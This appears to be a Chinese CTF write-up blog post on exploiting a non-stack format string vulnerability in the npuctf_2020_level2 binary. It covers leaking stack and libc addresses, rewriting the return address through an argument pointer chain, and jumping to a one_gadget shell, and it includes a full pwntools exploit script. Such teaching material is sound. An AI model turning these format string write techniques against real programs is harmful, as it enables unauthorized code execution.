注意
本文最后更新于 2021-04-09,文中内容可能已过时。
总结
根据本题,学习与收获有:
- 非栈上的格式化字符串漏洞与栈上格式化字符串不同,主要区别在于无法直接使用
%XXc$XXp + addr
,去往指定地址写入内容。一般需要借助地址链完成任意地址写操作。
- 常用的地址链有:rbp指针链、args参数链
- 如果利用
rbp
指针链进行攻击,注意最后退出函数的时候,需要把rbp
指针链恢复为原始状态。
pwntools
可以设置context.buffer_size
,默认为0x1000
,可以改大一点,避免printf
参数为%34565c%6$p
这种情况的时候,满屏的空白字符,影响下一次利用。还可以利用for
循环结合sleep
来确保每一次printf
写数据的时候,把所有输出的字符都完全接收,避免得到非预期结果。
- 打远程的时候,需要利用
sleep
函数,给缓冲区刷新的时间。
题目分析
checksec

函数分析
main

非常简单的main
函数,不需要过多分析
漏洞点
漏洞点就是上方函数中的printf
格式化字符串,但是需要注意,字符串变量buf
不在栈上,而是在bss
段上。没有办法直接填地址去写。需要借助地址链进行分批次写入。
可以在printf
处打下断点,看下栈:

这道题没有声明过局部栈变量,所以没有办法利用ebp
地址链,但是可以利用args
参数链。就在下方0x7ffd21c29a48
利用思路
利用过程
详细步骤:
- 测出格式化字符串的偏移
- 在栈上寻找一下有用的信息,泄露出栈地址和
libc
地址,得到存有main
函数结束后eip
寄存器内容的栈地址以及libc
基地址。
- 利用
args
参数链修改地址,指向存有main
函数retaddr
的栈地址。
- 循环利用
printf
把retaddr
修改为one_gadget
- 输入
66666666
,结束运行main
函数,获取shell
EXP
调试过程
测试格式化字符串的偏移,输入:%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p



要泄露出栈地址,偏移为9
,泄露出libc
地址,偏移为24
然后泄露地址:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
sh.sendline("%9$p,%24$p")
msg = sh.recvline()
stack_addr, libc_addr = msg[:-1].split(b',')
stack_addr = int16(stack_addr.decode())
libc_addr = int16(libc_addr.decode())
LOG_ADDR('stack_addr', stack_addr)
LOG_ADDR('libc_addr', libc_addr)
stack_ret_addr = stack_addr - 0xe0
libc_base_addr = libc_addr - 0x3e7638
LOG_ADDR('stack_ret_addr', stack_ret_addr)
LOG_ADDR('libc_base_addr', libc_base_addr)
gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = libc_base_addr + gadgets[2]
LOG_ADDR('one_gadget', one_gadget)
|
查看输出:

然后修改栈地址链:
1
2
3
4
5
6
|
payload = "%{}c%9$hn".format((stack_ret_addr & 0xffff))
sh.sendline(payload)
sh.recv()
payload = "%{}c%35$hn".format((one_gadget & 0xffff)) + 'a' * 0x10
sh.sendline(payload)
|
修改过程中的部分截图如下:


最后获取到shell
:

完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
|
from pwn import *
import functools
LOG_ADDR = lambda x, y: log.success('{} ===> {}'.format(x, hex(y)))
int16 = functools.partial(int, base=16)
context.update(arch='amd64', os='linux', endian='little')
sh:tube = process('./npuctf_2020_level2')
sh.sendline("%9$p,%24$p")
msg = sh.recvline()
stack_addr, libc_addr = msg[:-1].split(b',')
stack_addr = int16(stack_addr.decode())
libc_addr = int16(libc_addr.decode())
LOG_ADDR('stack_addr', stack_addr)
LOG_ADDR('libc_addr', libc_addr)
stack_ret_addr = stack_addr - 0xe0
libc_base_addr = libc_addr - 0x3e7638
LOG_ADDR('stack_ret_addr', stack_ret_addr)
LOG_ADDR('libc_base_addr', libc_base_addr)
gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = libc_base_addr + gadgets[0]
LOG_ADDR('one_gadget', one_gadget)
sleep(1)
payload = "%{}c%9$hn".format((stack_ret_addr & 0xffff))
sh.sendline(payload)
sh.recv()
for _ in range(2):
sh.sendline('a' * 0x30)
sh.recv()
sleep(2)
payload = "%{}c%35$hn".format((one_gadget & 0xffff)) + 'a' * 0x10
sh.sendline(payload)
sh.recv()
sleep(2)
for _ in range(2):
sh.sendline('a' * 0x30)
sh.recv()
sleep(2)
payload = "%{}c%9$hhn".format((stack_ret_addr & 0xff) + 2)
sh.sendline(payload)
sh.recv()
sleep(2)
for _ in range(2):
sh.sendline('a' * 0x30)
sh.recv()
sleep(2)
payload = "%{}c%35$hhn".format(((one_gadget >> 16) & 0xff)) + 'a' * 0x10
sh.sendline(payload)
sh.recv()
sleep(2)
for _ in range(2):
sh.sendline('a' * 0x30)
sh.recv()
sleep(2)
sh.send("6" * 8 + '\x00' * 8)
sleep(3)
sh.sendline("cat flag")
sh.interactive()
|
远程攻击效果如图:

